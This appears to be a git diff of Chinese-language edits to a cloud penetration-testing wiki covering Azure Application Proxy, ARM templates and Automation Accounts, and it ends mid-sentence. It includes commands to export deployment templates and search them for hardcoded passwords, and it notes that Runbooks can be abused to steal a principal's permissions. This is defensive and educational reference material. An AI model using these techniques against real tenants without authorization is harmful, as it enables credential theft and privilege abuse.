-1. 用户通过端点访问应用程序后,用户会被引导到 **Azure AD 登录页面**。 +1. 用户通过端点访问应用程序后,用户被引导到 **Azure AD 登录页面**。 2. 在 **成功登录** 后,Azure AD 将 **令牌** 发送到用户的客户端设备。 3. 客户端将令牌发送到 **Application Proxy 服务**,该服务从令牌中检索用户主体名称 (UPN) 和安全主体名称 (SPN)。**Application Proxy 然后将请求发送到 Application Proxy 连接器**。 4. 如果您已配置单点登录,连接器将代表用户执行任何 **额外的身份验证**。 diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 4b1c42203..df587405e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -4,7 +4,7 @@ ## 基本信息 -[来自文档:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) 要为您的 Azure 解决方案实现 **基础设施即代码**,请使用 Azure 资源管理器模板(ARM 模板)。该模板是一个 JavaScript 对象表示法(**JSON**)文件,**定义**了您项目的 **基础设施** 和配置。该模板使用声明性语法,允许您声明要部署的内容,而无需编写创建它的编程命令序列。在模板中,您指定要部署的资源及其属性。 +[来自文档:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) 要为您的 Azure 解决方案实现 **基础设施即代码**,请使用 Azure 资源管理器模板(ARM 模板)。模板是一个 JavaScript 对象表示法(**JSON**)文件,**定义**了您项目的 **基础设施** 和配置。模板使用声明性语法,这使您可以声明您打算部署的内容,而无需编写创建它的编程命令序列。在模板中,您指定要部署的资源及其属性。 ### 历史 @@ -22,7 +22,7 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -Depl cat .json # search for hardcoded password cat | Select-String password ``` -## 参考文献 +## 参考 - [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references) diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md index 88f388409..afc7e7b10 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md @@ -6,9 +6,9 @@ [来自文档:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation 提供基于云的自动化、操作系统更新和配置服务,支持在 Azure 和非 Azure 环境中进行一致的管理。它包括过程自动化、配置管理、更新管理、共享功能和异构特性。 -这些就像 Azure 中的 "**计划任务**",可以让你执行操作(动作或甚至脚本)来 **管理**、检查和配置 **Azure 环境**。 +这些类似于 Azure 中的 "**计划任务**",可以让您执行操作(动作或甚至脚本)来 **管理**、检查和配置 **Azure 环境**。 -### 运行作为账户 +### 运行账户 当使用 **Run as Account** 时,它会创建一个带有自签名证书的 Azure AD **应用程序**,创建一个 **服务主体** 并为该账户在 **当前订阅** 中分配 **Contributor** 角色(拥有很多权限)。\ Microsoft 建议为自动化账户使用 **Managed Identity**。 @@ -18,25 +18,25 @@ Microsoft 建议为自动化账户使用 **Managed Identity**。 ## Runbooks 和 Jobs -**Runbooks** 允许你 **执行任意 PowerShell** 代码。这可能会被 **攻击者滥用** 来窃取 **附加主体** 的权限(如果有的话)。\ -在 **Runbooks** 的 **代码** 中,你还可能找到 **敏感信息**(例如凭据)。 +**Runbooks** 允许您 **执行任意 PowerShell** 代码。这可能会被 **攻击者滥用** 来窃取 **附加主体** 的权限(如果有的话)。\ +在 **Runbooks** 的 **代码** 中,您还可能找到 **敏感信息**(例如凭据)。 -如果你可以 **读取** **jobs**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。 +如果您可以 **读取** **jobs**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。 前往 `Automation Accounts` --> `